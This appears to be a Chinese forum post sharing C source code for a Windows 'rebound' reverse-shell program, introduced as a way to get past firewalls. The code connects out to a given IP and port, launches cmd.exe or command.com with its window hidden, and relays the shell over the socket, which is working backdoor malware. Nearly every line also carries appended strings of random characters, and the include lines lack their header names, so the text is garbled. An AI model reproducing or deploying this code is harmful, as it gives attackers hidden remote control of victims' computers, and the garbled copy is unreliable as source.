这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 (BEGt'7
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/* ============================== \Pi\c~)Pr
Rebound port in Windows NT 9Iq [@v
By wind,2006/7 *r@7 :a5
===============================*/ b4ZZyw
#include 8s-y+M@.
#include R22YKXU
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#pragma comment(lib,"wsock32.lib") )."_i64
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void OutputShell(); P {i\x#
SOCKET sClient; M' e<\wqm
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; m.pB]yq&
pYa8iQ`6U;
void main(int argc,char **argv) [^$nt
{ 5,})x]'x
WSADATA stWsaData; Fm_^7|
int nRet; u\ro9l
SOCKADDR_IN stSaiClient,stSaiServer; G|Rsj{2'
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if(argc != 3) C$(US8:{
{ #3>o^cN~8k
printf("Useage:\n\rRebound DestIP DestPort\n"); Qn(2UO!pD
return; , 7KP
} F&%@p&
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WSAStartup(MAKEWORD(2,2),&stWsaData); d00#;R
uf]SPG#/D
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r@ujE,D=k
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stSaiClient.sin_family = AF_INET; 3_|<CE6
stSaiClient.sin_port = htons(0); W@`2+}
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); X]8(_[Y
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) aUa.!,_dh
{ a$r-
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printf("Bind Socket Failed!\n"); $nF|n+m
return; .A<G$ db
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} /2l&D~d"
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stSaiServer.sin_family = AF_INET; EudX^L5U<d
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Yz]c'M@
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (RVe,0y
#%N v\g;
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) p4GhT~)l:
{ Z^E>)!t
printf("Connect Error!"); #V&98 F
return; ?g^42IYG
} =!)Ye:\Q
OutputShell(); O2;FaASF
} _; !7:'J
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void OutputShell() iGB1f*K%x
{ *;t\!XDgp
char szBuff[1024]; U;`C%vHff
SECURITY_ATTRIBUTES stSecurityAttributes; J|,Uu^7`
OSVERSIONINFO stOsversionInfo; -{`8Av5)E%
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; \~m\pf?
STARTUPINFO stStartupInfo; dp#JvZb
char *szShell; N(uH y@
PROCESS_INFORMATION stProcessInformation; F]e`-;
unsigned long lBytesRead; Rd'P\
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2?P H||
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); K+MSjQS"
stSecurityAttributes.lpSecurityDescriptor = 0; 7irpD7P>
stSecurityAttributes.bInheritHandle = TRUE; -fpe
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E|{(O
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %"-bG'Yc
9<n2-l|)
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Ln:6@Ok)5%
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $inlI_
stStartupInfo.wShowWindow = SW_HIDE; A12EUr5$
stStartupInfo.hStdInput = hReadPipe; 5. ibH
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; F
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GetVersionEx(&stOsversionInfo); $mxm?7ZVR
hr$Wt?B
switch(stOsversionInfo.dwPlatformId) }`KK
{ )X
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case 1: ebno:)
szShell = "command.com"; /2^"c+/'p
break; ;)~}/nR<a
default: =LXjq~p
szShell = "cmd.exe"; YP
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break; '41'Gn
} .3
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); a+'k#m
n*A?>NV
send(sClient,szMsg,77,0); a-e_ q
while(1) "I)/|x\G*
{ u7&q(Z&&O
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +YZ*>ki
if(lBytesRead) F m?j-'
{ yY[9\!
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); q QcQnd2K
send(sClient,szBuff,lBytesRead,0); Fn>KdoByN
} )<Fq}Q86
else 4)"S/u
{ dG&^M".(
lBytesRead=recv(sClient,szBuff,1024,0); 'tTUro1~
if(lBytesRead<=0) break; ~c,CngeL0
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -pmb-#`M
} Gj_7wP$
} m)7Ql!l
vB74r]'F
return; !3F3E8%
}